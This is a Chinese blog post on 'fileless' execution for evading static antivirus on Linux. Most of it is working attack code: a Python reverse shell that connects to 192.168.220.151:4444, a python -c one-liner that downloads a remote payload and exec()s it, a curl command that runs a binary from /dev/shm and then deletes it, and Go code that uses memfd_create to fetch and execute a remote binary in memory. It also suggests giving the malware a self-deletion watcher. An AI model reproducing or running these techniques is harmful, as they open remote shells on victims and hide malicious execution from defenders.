编译型语言的痛!但无文件落地我可以!!!

声明:本文主要用作技术分享,所有内容仅供参考。任何使用或依赖于本文信息所造成的法律后果均与本人无关。请读者自行判断风险,并遵循相关法律法规。

@
目录

  • [python 等脚本语言](#python 等脚本语言)
  • [golang 等静态编译型语言](#golang 等静态编译型语言)

python 等脚本语言

通过将powercat 无文件落地思路进行扩展,可以考虑到通过加载器以及payload等恶意代码执行文件,也可以使用无文件落地的方式对静态杀毒进行规避。

由于大多数Linux系统中都默认安装了 python ,且python作为一种脚本型语言,可以直接使用命令行代码执行操作,与powershell 有极大的相似之处,因此,使用python进行无文件落地思路是相同的。

示例

首先准备一个恶意的python脚本放置在远端的服务器,用于文件下载

python 复制代码
import socket
import subprocess

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.220.151', 4444))

while True:
    command = s.recv(1024).decode('utf-8')
    if command.lower() == 'exit':
        break
    output = subprocess.run(command, shell=True, capture_output=True)
    s.send(output.stdout + output.stderr)

s.close()

然后,使用python进行文件下载并执行,达到无文件落地的效果

python 复制代码
import urllib.request
import subprocess

# 下载恶意 Python 脚本
url = 'http://192.168.220.151/payload.py'
response = urllib.request.urlopen(url)
code = response.read().decode('utf-8')

# 执行下载的脚本
exec(code)

但是,上述代码是脚本形式,要做到无文件落地执行,就需要完全在命令行执行代码。

python中可以使用 python自带的控制端,按照上述代码逐句执行。

python 复制代码
import urllib.request
response = urllib.request.urlopen('http://192.168.220.151/payload.py')
code = response.read().decode('utf-8')
exec(code)

也可以直接使用 python -c 来执行单行代码

python 复制代码
import urllib.request; exec(urllib.request.urlopen('http://192.168.220.151/payload.py').read().decode('utf-8'))

python 复制代码
python3 -c "import urllib.request; exec(urllib.request.urlopen('http://192.168.220.151/payload.py').read().decode('utf-8'))"

演示

对payload所在目录开启web服务,用于下载恶意文件

攻击端开启监听

被控端操作,下载并执行恶意代码,实现无文件落地

攻击端成功接收

来到被控端,并未发现payload,成功实现无文件落地

golang 等静态编译型语言

由于golang、C、C++ 等静态编译语言的特性,无论如何规避,都需要有文件在系统种进行执行才可以,但并不是说无法做到完全无文件落地。

内存文件系统

  • 完全在内存中执行/dev/shm 使用的是内存文件系统(tmpfs),文件存储在内存中,确保不会写入磁盘。
  • 快速执行:内存中的文件访问速度比磁盘文件快得多,因此可以提高执行效率。
  • 通过将文件写入 /dev/shm 并从该目录下执行,文件完全存储在内存中,确保不会有文件写入磁盘,因此可以达到 完全无文件落地 的效果。
  • 如果你希望确保完全避免文件留下,可以将执行完成后清理 /dev/shm 目录下的文件,这样可以进一步增强安全性。

因此,对于编译型语言的二进制可执行文件的无文件落地,可以使用 /dev/shm 目录,例如:

sh 复制代码
curl -s http://192.168.220.151/helloNum -o /dev/shm/helloNum && chmod +x /dev/shm/helloNum && /dev/shm/helloNum && rm /dev/shm/helloNum

这样会将文件下载到 /dev/shm/ 目录下,直接存储在内存中执行,并且在执行完毕后删除文件。

但这样也会产生一个问题,如果操作不当或者因不知名原因等导致恶意程序执行突然中断,那么就无法执行文件删除操作,因此,建议在恶意文件中加入 保险程序 。

也就是说,一旦程序终止,自动执行自删除操作,这里提供一种思路。

如果将自删除程序写入恶意文件,那么如果恶意程序被主动结束,就无法正常执行后续操作,因此,可以在恶意程序执行时,首先写入一个文件到内存系统中,文件中可以有一些无意义操作用来避免安全检测,然后通过该文件实时监控恶意程序的执行状态。

memfd_create 使用

memfd_create 是 Linux 内核提供的系统调用,可以创建匿名文件,仅存在于内存中。这需要编写一些 C 代码或者使用支持该功能的高级语言。

以下是一个示例:

go 复制代码
package main

import (
	"fmt"
	"io"
	"net/http"
	"os"
	"golang.org/x/sys/unix"
	"syscall"
)

func main() {
	// 创建匿名内存文件
	fd, err := unix.MemfdCreate("helloNum", unix.MFD_CLOEXEC)
	if err != nil {
		panic(err)
	}

	// 将文件描述符包装为 os.File
	memFile := os.NewFile(uintptr(fd), "helloNum")
	defer memFile.Close()

	// 下载二进制文件到内存文件
	resp, err := http.Get("http://192.168.220.151/helloNum")
	if err != nil {
		panic(err)
	}
	defer resp.Body.Close()

	_, err = io.Copy(memFile, resp.Body)
	if err != nil {
		panic(err)
	}

	// 将文件描述符重置到开始位置
	_, err = memFile.Seek(0, 0)
	if err != nil {
		panic(err)
	}

	// 使用 syscall.Exec 执行内存中的二进制文件
	err = syscall.Exec("/proc/self/fd/"+fmt.Sprint(memFile.Fd()), []string{}, os.Environ())
	if err != nil {
		panic(err)
	}
}
  1. unix.MemfdCreate("helloNum", unix.MFD_CLOEXEC):创建一个匿名的内存文件(也称为内存后备文件),这个文件存在于内存中,不会占用磁盘空间。MFD_CLOEXEC 标志意味着在执行 exec 系列函数时,这个文件描述符会自动关闭。
  2. os.NewFile(uintptr(fd), "helloNum"):将创建的内存文件描述符 fd 转换为 os.File 对象,这样可以使用标准库中的文件操作方法。
  3. http.Get("http://192.168.220.151/helloNum"):从指定的 URL 下载文件。
  4. io.Copy(memFile, resp.Body):将 HTTP 响应体中的数据复制到内存文件中。
  5. memFile.Seek(0, 0):将内存文件的读写指针移动到文件的开始位置。
  6. syscall.Exec("/proc/self/fd/"+fmt.Sprint(memFile.Fd()), []string{}, os.Environ()):这是代码中的关键部分。syscall.Exec 函数用于替换当前进程的映像为新的程序。这里它尝试使用内存文件的文件描述符来执行内存中的二进制文件。
    • /proc/self/fd/:这是一个特殊的目录,它包含了当前进程打开的所有文件描述符的符号链接。每个符号链接指向一个实际打开的文件或设备。
    • fmt.Sprint(memFile.Fd()):将内存文件的文件描述符转换为字符串。
    • []string{}:这是传递给 Exec 的参数列表,这里为空,意味着没有传递任何命令行参数。
    • os.Environ():这是传递给 Exec 的环境变量列表,它包含了当前进程的环境变量。

示例

编写一个演示程序,每隔3秒打印一个数字,并编译为二进制可执行文件,作为演示的远端恶意可执行文件

开启web服务

将上述代码编译为二进制可执行文件 memfd ,并执行

在执行过程中查看文件执行位置,并不存在远端文件落地,该文件是被直接加载到内存中,替换了 memfd进程的映像为我们的远端恶意程序。

欢迎关注 公众号 "D1TASec" ,获取更多姿势。

相关推荐
学习溢出7 小时前
【网络安全】John the Ripper 散列密码,PDF密码
安全·网络安全·pdf·哈希算法
为几何欢7 小时前
【hackmymv】emma靶机wp
安全·网络安全·渗透·hackmyvm·hmv
士别三日wyx9 小时前
HW护网分析研判思路,流量告警分析技巧
安全·web安全·网络安全
茶颜悦色vv11 小时前
Wireshark(1)
网络·web安全·网络安全·wireshark
纯净的灰〃11 小时前
vulnhub-matrix-breakout-2-morpheus
安全·web安全·网络安全
愿得一人欣12 小时前
工具大全-dirsearch探测Web目录
网络安全·ctf比赛工具·渗透工具大全
安全方案1 天前
如何识别钓鱼邮件和诈骗网站?(附网络安全意识培训PPT资料)
网络安全·安全培训
H轨迹H1 天前
SolidState靶机通关教程及提权
网络安全·渗透测试·靶机·oscp